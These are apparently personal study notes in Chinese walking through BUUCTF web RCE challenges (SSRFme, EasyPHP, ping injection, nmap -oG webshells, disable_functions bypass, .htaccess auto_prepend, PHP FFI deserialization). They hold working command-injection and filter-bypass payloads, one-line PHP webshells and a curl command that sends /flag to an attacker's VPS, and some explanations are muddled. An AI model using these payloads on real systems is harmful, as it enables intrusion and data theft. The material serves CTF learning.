buu RCE
RCE
代码执行
[HITCON 2017]SSRFme
perl脚本漏洞
源码
66.90.115.138<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {//_SERVER:服务器和执行环境信息
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//explode函数:把字符串打散为数组
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];//REMOTE_ADDR:代表客户端IP
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//创建沙盒文件夹 路径为 `sandbox/`加上`orangre66.90.115.138`的MD5值 和 页面输出的ip 在执行命令get参数的url
@mkdir($sandbox);//创建名为sandbox的沙盒目录,加上md5("orange" . $_SERVER["REMOTE_ADDR"])的值
@chdir($sandbox);//进入目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));//使用shell_exec函数执行一个GET请求,获取$_GET["url"]参数指定的URL的内容 escapeshellarg函数将输入的url转码 将我们输入的转换成可以被执行的字符串 方便bash执行
$info = pathinfo($_GET["filename"]);//pathinfo函数获取&_GET[“filename”]参数的以数组的形式返回文件路径信息
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);//创建名为$info["dirname"]的目录 其中.被替换为空字符
@chdir($dir);//进入目录
@file_put_contents(basename($info["basename"]), $data);//将获取到的数据写入一个文件,文件名为$info["basename"]
highlight_file(__FILE__);
file协议:本地文件传输协议 格式:file:///文件路径
file协议 利用open命令执行的前提是 要执行的文件夹存在 所以 先创建一个文件 在将结果写入文件夹
所以执行两遍?url=file:ls /|&filename=ls /|
这个命令
将orange66.90.115.138md5加密为 85ff2593d41f89a13a23d33524961d22
在访问文件 路径为/sandbox/85ff2593d41f89a13a23d33524961d22/ls /|
看到readflag
同理 运行两遍 ?url=file:bash -c /readflag|&filename=bash -c /readflag|
访问 /sandbox/85ff2593d41f89a13a23d33524961d22/bash -c /readflag|
注:| 是 分界符
[ISITDTU 2019]EasyPHP
源码
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
strlen函数:返回字符串长度
count_chars函数:返回字符串所用字符的信息
语法:cont_chars(string,mode)
本题count_hars(string,3):返回一个去重的字符串(是所有使用过的不同的字符)
strtolower函数:将 string 中所有的字母字符转换为小写并返回
0xd :ASCII码是指 回车
preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i'
[\x00- ]
- 这是一个字符类,匹配从\x00
(NULL字符)到空格的任意字符0-9
- 匹配任意数字\'"``$&.,|[{_defgops
- 这部分匹配提供的任何特定字符,包括单引号、双引号、美元符号、&符号、点、逗号、竖线、左方括号、左花括号、下划线以及在’d’到’g’和’o’到’p’之间的字母以及字母s\x7F
- 匹配DELETE字符(ASCII码为127)]+
- 表示前面的字符类可以匹配一次或多次/i
- 这个修饰符表示正则表达式匹配是不区分大小写的
匹配到以上字符就die
找了个脚本看看除了正则顾虑掉的 还有 哪些可以用
<?php
for($i=0;$i<=127;$i++){
if ( !preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i',chr($i)) ){
echo chr($i);
}
}
//!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~
第二个if
strlen(count_chars(strtolower($_), 0x3)) > 0xd
- 不能提交超过13种字符
可以利用取反编码绕过和异或绕过(没有过滤 ~
和 ^
)
^
(异或运算符)
~
取反运算符
url编码取反
?_=(~%8F%97%8F%96%91%99%90)();
可以看到没有屏蔽print_r函数scandir函数
构造
<?php
$_="print_r(scandir('.'));";
echo strlen(count_chars(strtolower($_),0x3));
// 15
总共有15个字符 除了必要字符() ^ ;
以外最多还可以有9个字符 所以还要删掉一部分
异或
用不可见字符相异或 异或出想要的字符
0xff默认是整形,一个byte跟0xff相与会先将byte转化为整形运算 运算结果结果会是我们想要的
为什么要和0xff异或:
0xff异或参考这篇文章
之所以用%ff是因为他用二进制表示为11111111,按位异或后得到的一定是相反的二进制数,再与其异或就又可以得到原二进制数
获取_GET的ASCII码
_GET分别对应着95 71 69 84 //ord('_')
使用0xff分别对其进行异或
结果为 0xa0b8baab
两次异或 得到_GET
回到本题
print_r用异或来表示(%ff没跑出来 不知道为啥)
正常结果跑出来应该是
%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff
scandir(.)用异或表示
%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff(%D1^%ff)
合起来
((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))((91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff(%D1^%ff)));
查找可以替代的字符 找的是出现次数较少的字符(用三个字母来代替)
知道字符的ascii码表的值 将三个字母进行异或 得到一个字符 进行替代
替代脚本(emmm ai写的)
def find_three_characters_for_xor(target_char):
target_byte = ord(target_char)
for i in range(97, 123): # 可打印字符的ASCII码范围
for j in range(97, 123):
for k in range(97, 123):
if i != target_byte and j != target_byte and k != target_byte: # 确保i、j和k不是目标字符
if i ^ j ^ k == target_byte:
return chr(i), chr(j), chr(k)
return None, None, None
# 目标字符a
s = 'a'
# 找到三个字符
char1, char2, char3 = find_three_characters_for_xor(s)
if char1 is not None:
print(f"The characters that XOR to '{s}' are: {char1}, {char2}, {char3}")
else:
print(f"No combination of three different characters found that XOR to '{s}'.")
得到
a = c^p^r
d = s^c^t
n = i^s^t
用 c p r s t i 分别和%ff进行异或
c=%9C
p=%8F
s=%8C
t=%8B
i=%96
r=%8D
所以 print_r(scandir(.))可以表示为
有个问题 为什么多了好几个异或 这个几个异或有点费解
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
Array ( [0] => index.php [1] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )
使用end()可以返回数组的最后一项
end()函数 将数组内部指针指向最后一个元素,并返回该元素的值
构造 readfile(end(scandir(.)))
再次寻找可以被替换的字符
r = s^d^e
f = c^l^i
n = c^l^a
分别和0xff异或
d = %9B
e = %9A
l = %93
a = %9E
readfile用异或表示
(%8D%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff)
end用异或表示
(%9A%91%9B)^(%ff%ff%ff)
readfile(end(scandir(.)))
表示为
老问题 为什么合起来是这个样子 多了好几个异或
((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));
get到一个查看有哪些函数提价是可以使用的脚本
$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}
命令执行
ACTF2020 新生赛]Exec 基础的命令执行
ping的题猜测是 远程命令执行
127.0.0.1;ls
看到index.php 在linux系统里 显示网页的路径是/var/www/html
所以index.php在这个路径里
127.0.0.1;cd /;ls
没有flag 并且发现 ;
和空格没有被过滤
127.0.0.1;cd /;cat flag
得到flag
[BUUCTF]Easybypass 很少的过滤
源码
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
cannot open `' (No such file or directory) cannot open `' (No such file or directory)
看源码 能知道一些过滤 看到comm2 不仅过滤了cat还过滤了tac 所以用comm1 传参
看到 flag在/flag里
只需要绕过正则就可以
用tac代替cat fla?代替flag(?代表一个字符)
表示 正则后面拼上 “
在接上file 然后执行命令
得到flag
[GXYCTF2019]Ping Ping Ping
看到ip 再加上ping
访问127.0.0.1 访问成功 进一步查看目录
看到flag.php 但是无法访问
但是无法访问 猜测有过滤
做一下fuzz
发现过滤了空格和flag
这写特殊字符
空格绕过 (可以用以下 字符代替空格)
<
${<!-- -->IFS}
$IFS$9
%09
flag 可以采取拼接绕过
fl\ag
失败
尝试访问index.php
访问失败 才发现 <
也被过滤了
换一个过滤 发现除了 $IFS$9
其他能代替空格的都被过滤了
index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
得知:如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤)
$a = shell_exec("ping -c 4 ".$ip);//只能输入四个字符
最后 输出源代码 并且将变量a所表示的数据打印出来 所以可以使用拼接
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
执行后点击查看网页源代码 得到flag
[BUUCTF 2018]Online Tool escapeshellarg()和escapeshellcmd() 在一起会有问题
源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
生成了一个sandbox目录的名称 目录的名称为'glzjin'和$_SERVER['REMOTE_ADDR'](客户端的ip地址)的md5值
代码使用system()
函数执行了nmap
命令,该命令用于扫描host
参数指定的目标主机。nmap
命令的参数包括
escapeshellarg()和escapeshellcmd()函数 按照先..arg在..cmd的顺序使用 会产生漏洞
escapeshellarg函数:把字符串转码为可以在设立了命令里使用的参数
功能:将字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
确保能够直接将一个字符串传入shell函数 设立了函数包括exec(),system()和反引号`
escapeshellcmd函数对字符串中可能会欺骗shell 命令执行任意命令的字符进行转
保证用户输入的数据在传送到wxec()或ysytem()函数 或者执行操符前转义
&#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
再利用nmap命令的 -oG
参数将命令和结果都写入一个文件里 从而实现一句话木马
构造payload
?host=' <?php @eval($_POST["a"]);?> -oG hi.php '
蚁剑链接
http://40455a38-4045-4e99-acf7-8616c1405691.node5.buuoj.cn:81/0eb22488dd8a3205dac7de0d1d34ee9a/hi.php
得到flag
[网鼎杯 2020 朱雀组]Nmap
是nmap工具的题,nmap工具是用来扫描网络的,一般会拿来扫目标主机的端口或操作系统之类的
nmap命令将扫描结果保存在文件里
测试一下
nmap命令:
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
查看源码 发现flag在/flag里
测试127.0.0.1 得到
本地测试nmap命令
发现和在页面测试效果一样
构造shell
'<?php eval($_POST["pwd"]);?> -oG hi.php'
发现被拦截 猜测是将php
关键字过滤了或者是 oG
被过滤了
先测试绕过 php
修改后缀php
为phtml
<?php
改为短标签 <?=
'<?= @eval(_POST['a']);?> -oG hi.phtml'
发现 传入成功 访问hi.phtml 传入参数
接着执行命令 得到flag
[极客大挑战 2019]RCE ME 无字母getshell,同时进行disable_function绕过
源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){//strlen函数用于计算字符串长度
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
看完源码 发现 code传入的长度不能超过40 还正则匹配掉一些字符
可以利用取反异或来绕过
采用取反绕过
<?php
$c='phpinfo';
$d=urlencode(~$c);
echo $d;
结果
%8F%97%8F%96%91%99%90
传入参数
?code=(~%8F%97%8F%96%91%99%90)();
发现禁用了很多函数 接着传参
构造 <?php assert(eval($_POST[1])); ?>
为什么用assert函数不直接用eval构造是因为eval不是php函数 无法通过变量函数的方法直接调用 所以要用assert函数来调用 但是因为版本问题 所以不能构造 <?php assert($_POST[1]); ?>
所以要构造 <?php assert(eval($_POST[1])); ?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
传参 蚁剑连接
因为禁用了一些函数 所以需要绕过
两种方法 想选择 使用插件绕过 但是出了点小问题
第一种 上传bypass_disablefun_x64.so和bypass_disablefunc.php(重命名为shell.php)
在构造 ?code=${GET}_;&=assert&_=eval($_POST['a'])
使用异或绕过
payload
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
得到flag
第二种 使用插件绕过(但是我的一直在获取数据 所以先记录一下)
在插件市场
选择PHP_GC_UAF模式
然后回进入到一个虚拟shell模式,输入/readflag,得到flag
[FBCTF2019]RCEService 正则字符串回溯绕过
随便传上去点啥 看到url里显示cmd 再加上json格式
json文件格式:一定要用双引号括起来
猜测是{"cmd":"ls"}
构造 {"cmd":"cat index.php"}
感觉是被过滤了 过滤了很多命令比如 /
cat
看wp感觉不是比赛给的源码 但是确实输入命令 {%0a"cmd":"/bin/cat *"%0a}
拿不到源码
这里贴一下源码
index.php
过滤了很多东西
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
看源码发现 为了避免调用系统命令,改变了系统环境变量
用不了cat 也是因为这个环境下没有二进制文件 所以需要用/bin/cat 来调用cat命令
方法一
%0a换行符绕过
从上边的源码可以知道 路径为/home/rceservice/jail
?cmd={%0a"cmd":"ls /home/rceservice"%0a}
?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
得到flag
方法二 正则最大回溯
要用POST传参 因为GET会因为header太大而报错
用preg_match的回溯限制,长度为一百万,来绕过preg_match,因为当preg_match匹配的字符串太长的时候就会返回false,也就是数据溢出
得到flag
[红明谷CTF 2021]write_shell
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
看到代码有waf和上传文件功能
正则匹配 _,php,~,^,空格
等符号 定义了waf函数 用check函数进行检查过滤 不允许写入黑名单中
sandbox创建目录
- 如果
action
是pwd
,则显示存储上传文件的目录路径 - 如果
action
是upload
,则从$_GET["data"]
参数获取数据,使用waf
函数对其进行过滤,然后将数据保存到index.php
文件中
构造payload ?action=pwd
使其创建目录
sandbox/1254adea244b6ef09ecedbb729f6c397/index.php
file_put_contents()函数 会把数据data写入index.php文件
php采用.拼接 空格用%09代替
构造payload /?action=upload&data=<?=(ph.pinfo)()?>
访问 发现写入成功
PHP运算符 "`“反引号 PHP将反引号中的内容作为shell命令来执行 并将输出的信息返回(使用反引号的效果和shell_exec()函数效果一样)
注:关闭了shell_exec()函数 反引号运算符是无效的 且 反引号不能再上引号里使用
构造paylaod
?action=upload&data=<?=`ls%09/`?>
传参之后 访问sandbox 得到目录
接着访问 flllllll1112222222lag 构造payload
?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>
得到flag
[羊城杯2020]easyphp
源码
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}//检查content和filename参数是否被设置
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
.表示当前目录
..表示当前目录的上一级目录
./当前目录,后可指定
../父级目录
获取当前目录 下所有文件和目录
is_fiel($file)
如果所有当前项文件名不是index.php 就使用 unlink($file)
函数删除文件(会删除当前目录下除了index.php的所有文件)
stristr函数作用:返回字符串中首次出现子串的地址
stristr函数检查content参数是否包含特殊字符:on,html,type,flag,upload,file 如果包含以上其中一个 脚本执行结束
preg_match函数正则匹配 小写字母和.
然后脚本再次执行scandir('./')
检查文件
使用 file-put_content
函数将content参数的内容和 Hello World
写入filename参数指定的文件中 (如果这个文件不存在将会 创建该文件)
构造payload
?filename=index.php&content=<?php phpinfo(); ?>
没反应
可能是php配置 php_flag engine
关闭了 是配置问题 所以需要配置文件 考虑使用.htaccess (没太搞懂为什么能想到是配置问题 想到是用.htaccess文件)
格式为 php_value 名称 值
在写一句话(以注释的方式) 然后在页面顶部加载 auto_prepend_file
php_value auto_prepend_file.haccess
#<?php phpinfo();?>
.htaccess 文件中 可以使用 # 进行单行注释 且支持\来拼接上下两行语句
再将过滤和 \n
转义掉 改成符合.haccess文件的规范格式
php_value auto_prepend_fil\
e ".htaccess"
#<?php phpinfo();?>
#\
编码一下
/?filename=.htaccess&content=php_value+auto_prepend_fil%5C%0Ae+.htaccess%22%0A%23%3C%3Fphp%20phpinfo()%3B%3F%3E%0A%23%5C
同理 flag换成fl??
?filename=.htaccess&content=php_value+auto_prepend_fi%5C%0D%0Ale+.htaccess%0D%0A%23%3C%3Fphp%20cat%09/fl??%3B%3F%3E%0D%0A%23%5C
CSAWQual 2016]i_got_id ???
形式
简单的注入并无结果
文件
上传文件
发现回显文本内容
perl编写的网页文件 大佬们都是直接猜出来后端代码的
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
while (<$file>) {
print "$_";
print "<br />";
}
}
先引入知识点 argv和argc参考链接
argc是传递给应用程序的参数个数,argv是传递给应用程序的参数,且第一个参数为程序名
参数argc和argv是由main()传递的参数个数和内容
也就是
回到本题
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中
while (<$file>) {
<>
半那处理字符串 除非是ARGV ,因此他循环遍历ARG值 并将每个值插入open()中调用
传入一个argv的文件 perl会将传入的参数作为文件名读出来
因此 在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了
- 域名后添加?cat+/etc/passwd
- 复制为15.16行内容,删除filename
- 添加ARGV
猜测flag在/flag
得到flag
感觉懂了又没懂...
[RCTF 2019]Nextphp ???
查看源码
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
构造 ?a=phpinfo();
PHP7.4扩展:PHP FFI 让我们可以调用C的各种库
使用FFI::cdef(按照官方样例)
<?php
$ffi = FFI::cdef("int system (const char* command);");
$ffi->system("ls");
?>
preload:用于在页面加载之前预加载资源,例如图片、CSS、JavaScript等,以提高页面加载速度和性能
发现禁用了很多函数 只能查看路径var/www/html
构造paylaod
?a=echo var_dump(scandir("/var/www/html/"));
获取当前目录 或者 ?a=print_r(scandir('./'));
也可以获取当前目录
查看preload.php内容
?a=echo file_get_content("preload.php")
格式化代码
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
//可以进行函数执行
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
//array_merge把两个数组合并为一个数组
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
//结果输出
public function __get ($key) {
//如果$key为ret,就可以输出函数执行返回的结果
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
反序列化 实现调用data
构造exp
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);' //声明
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
}
}
$a = new A();
echo base64_encode(serialize($a));
输出结果
QzoxOiJBIjo2MTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6NzoicHJpbnRfciI7czozOiJhcmciO3M6MToiMSI7fX0=
传入 $a
的值后 进行unserialize
然后执行 run()函数
在执行 data['ret']=FFI::coef('int system(char *command);')
实现从C库中加载system函数
利用格式 构造最后的paylaod
?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令);
命令执行的结果不会回显,可以用VPS接收flag,执行命令 curl -d @/flag http://VPS的ip
[探姬杯LitCTF2024]高亮主题(划掉)背景查看器
源码
<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}
开胃小菜))
md5绕过
http://node4.anna.nssctf.cn:28486/?a=s1885207154a&b=s1836677006a
http://node4.anna.nssctf.cn:28486/?a=s1885207154a&b=s1836677006a&c=9999,
dollar.php
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>
绕过preg_match
尝试?x[]=12
不行
注意到没过滤掉 system("cat" .$x. "php)
,只需要构造出12
使用 $(())
来获取,用 ~
来取反
$((~$(())))wei -1
-1-1外面在该uoh三个一层$(())才是-2为$(($((~$(())))$((~$(())))))
同理可得-12 再在外面过上一层~$(())取反使其为正数
payload
http://node4.anna.nssctf.cn:28486/dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
访问源码